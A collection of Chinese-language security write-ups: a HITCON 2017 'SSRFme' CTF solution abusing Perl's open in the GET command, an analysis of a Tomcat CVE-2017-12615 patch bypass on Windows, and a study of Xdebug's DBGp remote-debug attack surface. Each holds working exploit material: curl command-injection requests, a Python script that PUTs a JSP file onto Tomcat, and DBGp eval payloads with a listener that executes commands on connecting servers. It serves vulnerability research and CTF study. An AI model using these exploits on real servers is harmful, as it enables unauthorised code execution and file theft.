HITCON 2017 SSRFme

题目源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

这道题的考点是 GET 这个命令的一个命令执行漏洞,主要是 perl 的 feature,在 open 可以执行命令:

ricter@baka:/tmp$ cat a.pl
open(FD, "id|");
print <FD>;

open(FD, "|id");
print <FD>;
ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

那么,GET 命令对于各个 protocol 的处理是在 /usr/share/perl5/LWP/Protocol 下的:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ls -1
cpan.pm
data.pm
file.pm
ftp.pm
GHTTP.pm
gopher.pm
http.pm
https.pm
loopback.pm
mailto.pm
nntp.pm
nogo.pm

对于 open 函数:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ag open
mailto.pm
88: open(SENDMAIL, "| $SENDMAIL -oi -t") or

ftp.pm
239:          # open range -- only the start is specified
537:#    may be reasonable to keep the control connection open while accessing

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or return new

file 协议才有可以利用的 open,看一下源码:

...
# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");
...

需要文件存在才能触发,验证一下:

ricter@baka:/tmp/a$ touch 'id|'
ricter@baka:/tmp/a$ GET 'file:id|'
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

需要存在一个 id| 文件,但是 PHP 源码中会创建目录及文件,那么最终 exp:

ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl 'http://13.115.136.15/sandbox/c36eb1c4372f5f8131542751d486cebd/bash%20-c%20/readflag%7C'
hitcon{Perl_<3_y0u}

Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615

0x01 CVE-2017-12615 补丁分析

CVE-2017-12615 是 Tomcat 在设置了 readonlyfalse 状态下,可以通过 PUT 创建一个“.jsp ”的文件。由于后缀名非 .jsp.jspx,所以 Tomcat 在处理的时候经由 DefaultServlet 处理而不是 JspServlet,又由于 Windows 不允许文件名为空格结尾,所以可以成功创建一个 JSP 文件,以达到 RCE 的结果。

龙哥在周五敲我说,在高并发的情况下,还是可以成功写入一个 JSP 文件;同时微博上的一个小伙伴也告诉我,在一定的条件下还是可以成功创建文件。

测试发现,对于 7.0.81 可以成功复现,但是对于 8.5.21 失败。如下代码分析是基于 Apache Tomcat 7.0.81 的。经过分析,我发现这两种情况其实本质是相同的。不过在此之前,首先看一下 Tomcat 对于 CVE-2017-12615 的补丁好了。

同样的,进入 DefaultServletdoPut 方法,再调用到 FileDirContextbind 方法,接着调用 file 方法:

protected File file(String name, boolean mustExist) {
    File file = new File(base, name);
    return validate(file, mustExist, absoluteBase);
}

注意到 mustExistfalse

protected File validate(File file, boolean mustExist, String absoluteBase) {

    if (!mustExist || file.exists() && file.canRead()) { // !mustExist = true,进入 if
        ...
        try {
            canPath = file.getCanonicalPath(); 
            // 此处,对路径进行规范化,调用的是 java.io.File 内的方法
            // 之前的 Payload 中结尾为空格,那么这个方法就会去掉空格
        } catch (IOException e) {

        }
        ...
        if ((absoluteBase.length() < absPath.length())
            && (absoluteBase.length() < canPath.length())) {
            ...
            // 判断规范化的路径以及传入的路径是否相等,由于 canPath 没有空格,return null
            if (!canPath.equals(absPath))
                return null;
        }
    } else {
        return null;
    }

经过上述的判断,导致我们无法通过空格来创建 JSP 文件。

但是之前提到,在高并发或者另外一种情况下,却又能创建 JSP 文件,也就是说 canPath.equals(absPath)true。通过深入分析,找出了其原因。

0x02 WinNTFileSystem.canonicalize

上述代码中,对于路径的规范化是调用的 file.getCanonicalPath()

public String getCanonicalPath() throws IOException {
    if (isInvalid()) {
        throw new IOException("Invalid file path");
    }
    return fs.canonicalize(fs.resolve(this));
}

也就是调用 FS 的 canonicalize 方法,对于 Windows,调用的是 WinNTFileSystem.canonicalize。这个 Bypass 的锅也就出在 WinNTFileSystem.canonicalize 里,下面为其代码,我已去处掉了无关代码可以更清晰的了解原因。

@Override
public String canonicalize(String path) throws IOException {
    ...
    if (!useCanonCaches) { // !useCanonCaches = false
        return canonicalize0(path);
    } else {
        // 进入此处分支
        String res = cache.get(path);
        if (res == null) {
            String dir = null;
            String resDir = null;
            if (useCanonPrefixCache) {
                dir = parentOrNull(path);
                if (dir != null) {
                    resDir = prefixCache.get(dir);
                    if (resDir != null) {
                        String filename = path.substring(1 + dir.length());
                        // 此处 canonicalizeWithPrefix 不会去掉尾部空格
                        res = canonicalizeWithPrefix(resDir, filename);
                        cache.put(dir + File.separatorChar + filename, res);
                    }
                }
            }
            if (res == null) {
                // 此处的 canonicalize0 会将尾部空格去掉
                res = canonicalize0(path);
                cache.put(path, res);
                if (useCanonPrefixCache && dir != null) {
                    resDir = parentOrNull(res);
                    if (resDir != null) {
                        File f = new File(res);
                        if (f.exists() && !f.isDirectory()) {
                            prefixCache.put(dir, resDir);
                        }
                    }
                }
            }
        }
        // 返回路径
        return res;
    }
}

上述代码有一个非常非常神奇的地方:

  • canonicalizeWithPrefix(resDir, filename) 不会去掉路径尾部空格

  • canonicalize0(path) 会去掉路径尾部空格

为了满足进入存在 canonicalizeWithPrefix 的分支,需要通过两个判断:

  • String res = cache.get(path); 应为 null,此处 PUT 一个从未 PUT 过的文件名即可
  • resDir = prefixCache.get(dir); 应不为 null

可以发现,对于 prefixCache 进行添加元素的操作在下方存在 canonicalize0 的 if 分支:

        if (res == null) {
            res = canonicalize0(path);
            cache.put(path, res);
            if (useCanonPrefixCache && dir != null) {
                resDir = parentOrNull(res);
                if (resDir != null) {
                    File f = new File(res);
                    if (f.exists() && !f.isDirectory()) { // 需要满足条件
                        prefixCache.put(dir, resDir); // 进行 put 操作

通过代码可知,如果想在 prefixCache 存入数据,需要满足文件存在文件不是目录的条件。

prefixCache 存放的是什么数据呢?通过单步调试可以发现:

resDir 为文件所在的绝对路径。

那么如果想进入 canonicalizeWithPrefix 的分支,需要满足的两个条件已经理清楚了。从 prefixCache.put开始,触发漏洞需要的流程如下。

0x03 The Exploit

首先,要向 prefixCache 中添加内容,那么需要满足 f.exists() && !f.isDirectory() 这个条件。仍然还是空格的锅:

>>> os.path.exists("C:/Windows/System32/cmd.exe")
True
>>> os.path.exists("C:/Windows/System32/cmd.exe ")
True

那么,在无已知文件的情况下,我们只需要先 PUT 创建一个 test.txt,在 PUT 一个 test.txt%20,即可向 prefixCache 添加数据了。

单步查看,发现已经通过分支,并且向 prefixCache 添加数据:

接着,创建一个 JSP 文件“test.jsp%20”,单步查看:

可以发现,resDir 不为 null,且 res 结尾带着空格。于是可以通过最开始的 canPath.equals(absPath) 的检查。查看 BurpSuite 中的返回:

发现已经创建成功了。

Exploit:

import sys
import requests
import random
import hashlib


shell_content = '''
RR is handsome!
'''

if len(sys.argv) <= 1:
    print('Usage: python tomcat.py [url]')
    exit(1)


def main():
    filename = hashlib.md5(str(random.random())).hexdigest()[:6]

    put_url = '{}/{}.txt'.format(sys.argv[1], filename)
    shell_url = '{}/{}.jsp'.format(sys.argv[1], filename)

    requests.put(put_url, data='1')
    requests.put(put_url + '%20', data='1')
    requests.put(shell_url + '%20', data=shell_content)
    requests.delete(put_url)

    print('Shell URL: {}'.format(shell_url))


if __name__ == '__main__':
    main()

0x04 Tomcat 8.5.21!?

Tomcat 8.5.21 通过 WebResourceRoot 来处理资源文件:

protected transient WebResourceRoot resources = null;
...

@Override
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {
    ...

    try {
        if (range != null) {
            File contentFile = executePartialPut(req, range, path);
            resourceInputStream = new FileInputStream(contentFile);
        } else {
            resourceInputStream = req.getInputStream();
        }

        if (resources.write(path, resourceInputStream, true)) { // 进入 write
            if (resource.exists()) {
                resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
            } else {
                resp.setStatus(HttpServletResponse.SC_CREATED);
            }
        } else {

接着调用 DirResourceSet.write

@Override
public boolean write(String path, InputStream is, boolean overwrite) {
    path = validate(path);

    if (!overwrite && preResourceExists(path)) {
        return false;
    }

    // main 为 DirResourceSet 的 instance
    boolean writeResult = main.write(path, is, overwrite);
    ...
}

DirResourceSet.write 的源码为:

@Override
public boolean write(String path, InputStream is, boolean overwrite) {
    checkPath(path);

    if (is == null) {
        throw new NullPointerException(
                sm.getString("dirResourceSet.writeNpe"));
    }

    if (isReadOnly()) {
        return false;
    }

    File dest = null;
    String webAppMount = getWebAppMount();
    if (path.startsWith(webAppMount)) {
        // 进入 file 方法
        dest = file(path.substring(webAppMount.length()), false);

file 方法:

protected final File file(String name, boolean mustExist) {
        ...
        String canPath = null;
        try {
            canPath = file.getCanonicalPath();
        } catch (IOException e) {
            // Ignore
        }
        ...
        if ((absoluteBase.length() < absPath.length())
            && (canonicalBase.length() < canPath.length())) {
            ...
            if (!canPath.equals(absPath))
                return null;
        }
    } else {
        return null;
    }
    return file;
}

换汤不换药,为什么不能触发呢?经过单步,发现成功通过判断,但是在文件复制的时候出现了问题:

try {
    if (overwrite) {
        Files.copy(is, dest.toPath(), StandardCopyOption.REPLACE_EXISTING); // 此处
    } else {
        Files.copy(is, dest.toPath());
    }
} catch (IOException ioe) {
    return false;
}

toPath 方法的时候出现了问题:

public Path toPath() {
    Path result = filePath;
    if (result == null) {
        synchronized (this) {
            result = filePath;
            if (result == null) {
                result = FileSystems.getDefault().getPath(path);
                filePath = result;
            }
        }
    }
    return result;
}

WindowsPathParser.normalize 判断是是不是非法的字符:

private static String normalize(StringBuilder sb, String path, int off) {
    ...
    while (off < len) {
        char c = path.charAt(off);
        if (isSlash(c)) {
            if (lastC == ' ')
                throw new InvalidPathException(path,
                                               "Trailing char <" + lastC + ">",
                                               off - 1);
        ...
        } else {
            if (isInvalidPathChar(c))
                throw new InvalidPathException(path,
                                               "Illegal char <" + c + ">",
                                               off);
            lastC = c;
            off++;
        }
    }
    if (start != off) {
        if (lastC == ' ')
            throw new InvalidPathException(path,
                                           "Trailing char <" + lastC + ">",
                                           off - 1);
        sb.append(path, start, off);
    }
    return sb.toString();
}

以及:

private static final boolean isInvalidPathChar(char var0) {
    return var0 < ' ' || "<>:\"|?*".indexOf(var0) != -1;
}

难过。


Xdebug: A Tiny Attack Surface

0x00 About Xdebug

Xdebug 是一个 PHP 的调试工具,支持在本地通过源码远程调试服务器上的 PHP 代码。Xdebug 功能强大,最近关于其配置的文章也层出不穷,很早之前就萌生了挖掘 Xdebug 攻击面的想法,终于在今天这个适合划水的日子去做了。

Xdebug 调试 PHP 的主要流程为:

  1. 接收到 debug 的信号,一般为请求参数带有 XDEBUG_SESSION_START
  2. 返回一个 XDEBUG_SESSION 的 Cookie
  3. 服务器作为客户端,根据配置文件中的 xdebug.remote_hostxdebug.remote_port 连接服务端(开发者的机器)
  4. 服务端收到请求,向客户端发送指令

Xdebug 支持的协议有 dbgp,具体的规范文档在:https://xdebug.org/docs-dbgp.php

Xdebug 的配置比较简单,大体步骤为:

  • 下载源码,phpize、编译
  • 配置 php.ini,增加 zend_extension="/path/to/xdebug.so"
  • 在 conf.d 目录下创建 xdebug.ini

攻击面所需要的环境中, xdebug.ini 内容为:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log

在中国大内网的环境下,一般情况都会去配置 xdebug.remote_connect_back,参见 百度关于 xdebug.remote_connect_back 的搜索结果,而我们的攻击面也是建立在这条配置上的。
逐条解释一下:

  • xdebug.remote_enable,开启远程 debug
  • xdebug.remote_connect_back,开启回连

xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。

Xdebug 的网络交互也十分简单,客户端回向服务端发送 XML 数据,服务端会向客户端发送类似于 gdb 的 command。每次交互的数据以 \x00 作为 EOL。

0x02 Read The Manaul

通过阅读 DBGp 的文档,我们可以注意到一些比较敏感的命令。

    1. Core Commands > source
    1. Extended Commands > eval
    1. Extended Commands > interact - Interactive Shell
    1. Core Commands > property_set

source 可以读取文件内容,eval is the eval。

1. source

source -i transaction_id -f fileURI

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir

利用方式:

source -i 1 -f file:///etc/passwd

另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。

2. eval

eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==

3. interact

Xdebug 没有实现这个,放弃吧。

4. property_set

根据 Xdebug 对于 dbgp 的实现,property_set 是存在一个代码注入的。
具体代码在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505

    /* Do the eval */
    eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
    res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);

利用方式:

property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== 
property_get -n $a -i 1 -c 1 -p 0

0x03 Detect Xdebug & Exploit

说了这么多,怎么知道对方是否开了 Xdebug 并且可利用?很简单,一个 cURL 就可以了。

X-Forwarded-For 的地址的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back

那么,怎么方便的利用呢?

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

储存为 xdebug_exp.py,然后:

  • 服务端监听端口,等待反弹 shell
  • curl 触发 Xdebug,连接服务端
  • 服务端获取到,发送命令执行的代码